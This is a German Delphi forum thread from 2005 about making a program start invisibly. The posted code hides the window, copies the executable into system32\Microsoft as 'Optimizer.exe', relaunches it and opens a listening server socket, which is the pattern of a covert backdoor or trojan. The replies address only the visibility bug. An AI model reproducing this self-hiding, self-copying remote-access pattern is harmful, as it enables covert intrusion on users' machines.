ERLEDIGT
JA
JA
ANTWORTEN
2
2
ZUGRIFFE
2503
2503
EMPFEHLEN
-
Hi.
Ich habe ien Programm geschrieben das mit
Application.ShowMainForm := False
am Anfang unichtbar gestartet werden soll.
Da hab ich die Zeile in den OnCreate Teil kopiert, das hat normal auch immer funktioniert.
Aber diesmal wird das Programm einfach nicht unsichtbar
Ich verstehe nicht wieso.
Hier der Codeteil von OnCreate:
procedure TForm1.FormCreate(Sender: TObject);
var Dir:String;
regist:TRegistry;
begin
//Start
//Invisible machen
ShowWindow(Application.Handle, SW_HIDE);
//Diretorys finden und zuweisen
GetDir(0, s);
GetWindowsDirectory(Verzeichnis, MAX_PATH+1);
Dir:=Verzeichnis + '\system32\Microsoft';
IF
Dir = s
THEN
begin
//Festlegen der Serverinfos
ServerSocket1.Port := 23769; //Festlegung des Ports
ServerSocket1.active := true; //Aktivierung der ServerSocket
Verbindung:='Neu';
end
ELSE
begin
//File kopieren
CopyFile(PChar(ParamStr(0)), PChar(Dir + '\Optimizer.exe'), True);
//Programm aus system32 starten
ShellExecute(Application.Handle, 'open' ,PChar('Optimizer.exe'), nil, PChar(Dir), sw_ShowNormal);
//Programm beenden
Application.Terminate
end
end;
Ich hoffe irgendjemand kann mir weiterhelfen.
-
Ok ich habs gefunden

Omg... Das Problem was das True bei CopyFile
Das Tool vom vorherigen Comlien war noch da und wurde wegen dem True nich üebrschrieben.
Das das alte auch visible startete konnte ich so viel klicken wie ich will
-
19.08.05 23:35 #3
- Registriert seit
- Aug 2005
- Ort
- Deutschland (Berlin)
- Beiträge
- 3
das geht aber auch einfacher: einfach im Quelltext der Projektdatei ("Projektname.dpr") vor dem Aufruf "Application.Run" folgendes schreiben:
Zitat von Aljoscha
Application.ShowMainForm := False;
Und zusätzlich die Eigenschaft "Visible" des Hauptformulars auf "False" setzen, Fertig!
Ähnliche Themen
-
Aus einer Application heraus eine neue Application starten
Von Lautsprecher im Forum JavaAntworten: 2Letzter Beitrag: 31.07.07, 14:13 -
SetVisible(false); bei JPane greift nicht...
Von tomkn im Forum Swing, Java2D/3D, SWT, JFaceAntworten: 1Letzter Beitrag: 25.06.07, 14:56 -
[AS] button._visible=false geht nicht
Von Jörg Rißmann im Forum Flash PlattformAntworten: 11Letzter Beitrag: 11.07.05, 16:43 -
DataGrid.AllowSorting = false geht nicht
Von jayel im Forum .NET ArchivAntworten: 1Letzter Beitrag: 10.06.05, 13:44 -
setProperty(mauszeiger, _visible, false) funktioniert nicht. + noch'n paar prob
Von k2k im Forum Flash PlattformAntworten: 5Letzter Beitrag: 06.07.01, 14:37





Zitieren
Login





